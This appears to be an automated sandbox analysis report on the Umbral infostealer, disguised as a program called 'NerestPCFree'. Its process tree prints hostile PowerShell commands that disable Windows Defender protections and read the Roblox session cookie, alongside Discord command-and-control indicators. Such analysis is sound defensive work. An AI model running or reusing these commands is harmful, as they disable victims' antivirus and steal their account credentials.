umbral | 0c6e6a1c2c50a0a1ab3f74ea0985e14003921c3b7f4e427b56c7673439accb8b

Analysis

max time kernel
6s
max time network
7s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
11-12-2024 21:08

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General

Target

NerestPCFree 0.31.1 fixed.exe
Size

231KB
MD5

08dce587975cb4a6cb1333bd7d3aea6c
SHA1

4c855f6bb5cad027522d0a063cb4f1cd6e97b163
SHA256

0c6e6a1c2c50a0a1ab3f74ea0985e14003921c3b7f4e427b56c7673439accb8b
SHA512

19f21d6f976a971f4bffbf74a7b6450ec6b6ec02d837422a5c5edbd3fb825e630642e4b840e181484a2e0e47997631ad7012f1f710aa098538164c8998592f81
SSDEEP

6144:xloZMCrIkd8g+EtXHkv/iD4LsUtt74szYKrd4UBr8b8e1mOoi:DoZZL+EP8LsUtt74szYKrd4UBAJ

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral5/memory/2516-1-0x000001C4D3410000-0x000001C4D3450000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1936	powershell.exe
3384	powershell.exe
1860	powershell.exe
760	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
4	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2924	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1936	powershell.exe
1936	powershell.exe
3384	powershell.exe
3384	powershell.exe
1860	powershell.exe
1860	powershell.exe
1628	powershell.exe
1628	powershell.exe
760	powershell.exe
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	NerestPCFree 0.31.1 fixed.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeIncreaseQuotaPrivilege	5068	wmic.exe
Token: SeSecurityPrivilege	5068	wmic.exe
Token: SeTakeOwnershipPrivilege	5068	wmic.exe
Token: SeLoadDriverPrivilege	5068	wmic.exe
Token: SeSystemProfilePrivilege	5068	wmic.exe
Token: SeSystemtimePrivilege	5068	wmic.exe
Token: SeProfSingleProcessPrivilege	5068	wmic.exe
Token: SeIncBasePriorityPrivilege	5068	wmic.exe
Token: SeCreatePagefilePrivilege	5068	wmic.exe
Token: SeBackupPrivilege	5068	wmic.exe
Token: SeRestorePrivilege	5068	wmic.exe
Token: SeShutdownPrivilege	5068	wmic.exe
Token: SeDebugPrivilege	5068	wmic.exe
Token: SeSystemEnvironmentPrivilege	5068	wmic.exe
Token: SeRemoteShutdownPrivilege	5068	wmic.exe
Token: SeUndockPrivilege	5068	wmic.exe
Token: SeManageVolumePrivilege	5068	wmic.exe
Token: 33	5068	wmic.exe
Token: 34	5068	wmic.exe
Token: 35	5068	wmic.exe
Token: 36	5068	wmic.exe
Token: SeIncreaseQuotaPrivilege	5068	wmic.exe
Token: SeSecurityPrivilege	5068	wmic.exe
Token: SeTakeOwnershipPrivilege	5068	wmic.exe
Token: SeLoadDriverPrivilege	5068	wmic.exe
Token: SeSystemProfilePrivilege	5068	wmic.exe
Token: SeSystemtimePrivilege	5068	wmic.exe
Token: SeProfSingleProcessPrivilege	5068	wmic.exe
Token: SeIncBasePriorityPrivilege	5068	wmic.exe
Token: SeCreatePagefilePrivilege	5068	wmic.exe
Token: SeBackupPrivilege	5068	wmic.exe
Token: SeRestorePrivilege	5068	wmic.exe
Token: SeShutdownPrivilege	5068	wmic.exe
Token: SeDebugPrivilege	5068	wmic.exe
Token: SeSystemEnvironmentPrivilege	5068	wmic.exe
Token: SeRemoteShutdownPrivilege	5068	wmic.exe
Token: SeUndockPrivilege	5068	wmic.exe
Token: SeManageVolumePrivilege	5068	wmic.exe
Token: 33	5068	wmic.exe
Token: 34	5068	wmic.exe
Token: 35	5068	wmic.exe
Token: 36	5068	wmic.exe
Token: SeIncreaseQuotaPrivilege	4736	wmic.exe
Token: SeSecurityPrivilege	4736	wmic.exe
Token: SeTakeOwnershipPrivilege	4736	wmic.exe
Token: SeLoadDriverPrivilege	4736	wmic.exe
Token: SeSystemProfilePrivilege	4736	wmic.exe
Token: SeSystemtimePrivilege	4736	wmic.exe
Token: SeProfSingleProcessPrivilege	4736	wmic.exe
Token: SeIncBasePriorityPrivilege	4736	wmic.exe
Token: SeCreatePagefilePrivilege	4736	wmic.exe
Token: SeBackupPrivilege	4736	wmic.exe
Token: SeRestorePrivilege	4736	wmic.exe
Token: SeShutdownPrivilege	4736	wmic.exe
Token: SeDebugPrivilege	4736	wmic.exe
Token: SeSystemEnvironmentPrivilege	4736	wmic.exe
Token: SeRemoteShutdownPrivilege	4736	wmic.exe
Token: SeUndockPrivilege	4736	wmic.exe
Token: SeManageVolumePrivilege	4736	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 1936	2516	NerestPCFree 0.31.1 fixed.exe	77
PID 2516 wrote to memory of 1936	2516	NerestPCFree 0.31.1 fixed.exe	77
PID 2516 wrote to memory of 3384	2516	NerestPCFree 0.31.1 fixed.exe	79
PID 2516 wrote to memory of 3384	2516	NerestPCFree 0.31.1 fixed.exe	79
PID 2516 wrote to memory of 1860	2516	NerestPCFree 0.31.1 fixed.exe	81
PID 2516 wrote to memory of 1860	2516	NerestPCFree 0.31.1 fixed.exe	81
PID 2516 wrote to memory of 1628	2516	NerestPCFree 0.31.1 fixed.exe	83
PID 2516 wrote to memory of 1628	2516	NerestPCFree 0.31.1 fixed.exe	83
PID 2516 wrote to memory of 5068	2516	NerestPCFree 0.31.1 fixed.exe	85
PID 2516 wrote to memory of 5068	2516	NerestPCFree 0.31.1 fixed.exe	85
PID 2516 wrote to memory of 4736	2516	NerestPCFree 0.31.1 fixed.exe	88
PID 2516 wrote to memory of 4736	2516	NerestPCFree 0.31.1 fixed.exe	88
PID 2516 wrote to memory of 1880	2516	NerestPCFree 0.31.1 fixed.exe	90
PID 2516 wrote to memory of 1880	2516	NerestPCFree 0.31.1 fixed.exe	90
PID 2516 wrote to memory of 760	2516	NerestPCFree 0.31.1 fixed.exe	92
PID 2516 wrote to memory of 760	2516	NerestPCFree 0.31.1 fixed.exe	92
PID 2516 wrote to memory of 2924	2516	NerestPCFree 0.31.1 fixed.exe	94
PID 2516 wrote to memory of 2924	2516	NerestPCFree 0.31.1 fixed.exe	94

C:\Users\Admin\AppData\Local\Temp\NerestPCFree 0.31.1 fixed.exe
"C:\Users\Admin\AppData\Local\Temp\NerestPCFree 0.31.1 fixed.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NerestPCFree 0.31.1 fixed.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1628
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
aa4f31835d07347297d35862c9045f4a

SHA1
83e728008935d30f98e5480fba4fbccf10cefb05

SHA256
99c83bc5c531e49d4240700142f3425aba74e18ebcc23556be32238ffde9cce0

SHA512
ec3a4bee8335007b8753ae8ac42287f2b3bcbb258f7fc3fb15c9f8d3e611cb9bf6ae2d3034953286a34f753e9ec33f7495e064bab0e8c7fcedd75d6e5eb66629

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
fa21dd50b4e64421076f843031c8ccf7

SHA1
2c56e94f130c0d8d77116e939ffee4e37cf982bd

SHA256
e4f21aca1e12aafa8de7af24b79a75526e902c7d4b3fea5bdb6e723976997be3

SHA512
b8de2bfeb7af06c587dd1f424d410cf83471f31a55a3ea4c4481ce07ffd9bf66ddc1f7775ecd6ac65ac33baaec90ba5a208a9aefc84f31125a50dfb919982687

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5ea3327eacf4267694da8db0a3e1ae01

SHA1
81331a00784b84e045225ba8f90247933e1a6fa0

SHA256
65ab24a37883a340cad2c240fbb5b76c48de5a76b60759fb223e353854f678b5

SHA512
6c90e220d6fa68b0db76f5f890d19264e56139c7eb280caf14d865c18d7cbf08f41fdf155f9ae09c16bab21bec69106ad19ebf94018f6bac8403e8803cd4d24a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5yse0t3.paz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1936-19-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/1936-14-0x00000277553F0000-0x0000027755412000-memory.dmp

Filesize
136KB

Download
memory/1936-15-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/1936-16-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/1936-4-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/1936-5-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/1936-3-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/2516-33-0x000001C4D5230000-0x000001C4D524E000-memory.dmp

Filesize
120KB

Download
memory/2516-32-0x000001C4D53C0000-0x000001C4D5410000-memory.dmp

Filesize
320KB

Download
memory/2516-31-0x000001C4EDC20000-0x000001C4EDC96000-memory.dmp

Filesize
472KB

Download
memory/2516-0-0x00007FFCFBEF3000-0x00007FFCFBEF5000-memory.dmp

Filesize
8KB

Download
memory/2516-2-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/2516-68-0x000001C4D5410000-0x000001C4D541A000-memory.dmp

Filesize
40KB

Download
memory/2516-69-0x000001C4EDCA0000-0x000001C4EDCB2000-memory.dmp

Filesize
72KB

Download
memory/2516-1-0x000001C4D3410000-0x000001C4D3450000-memory.dmp

Filesize
256KB

Download
memory/2516-84-0x00007FFCFBEF3000-0x00007FFCFBEF5000-memory.dmp

Filesize
8KB

Download
memory/2516-89-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download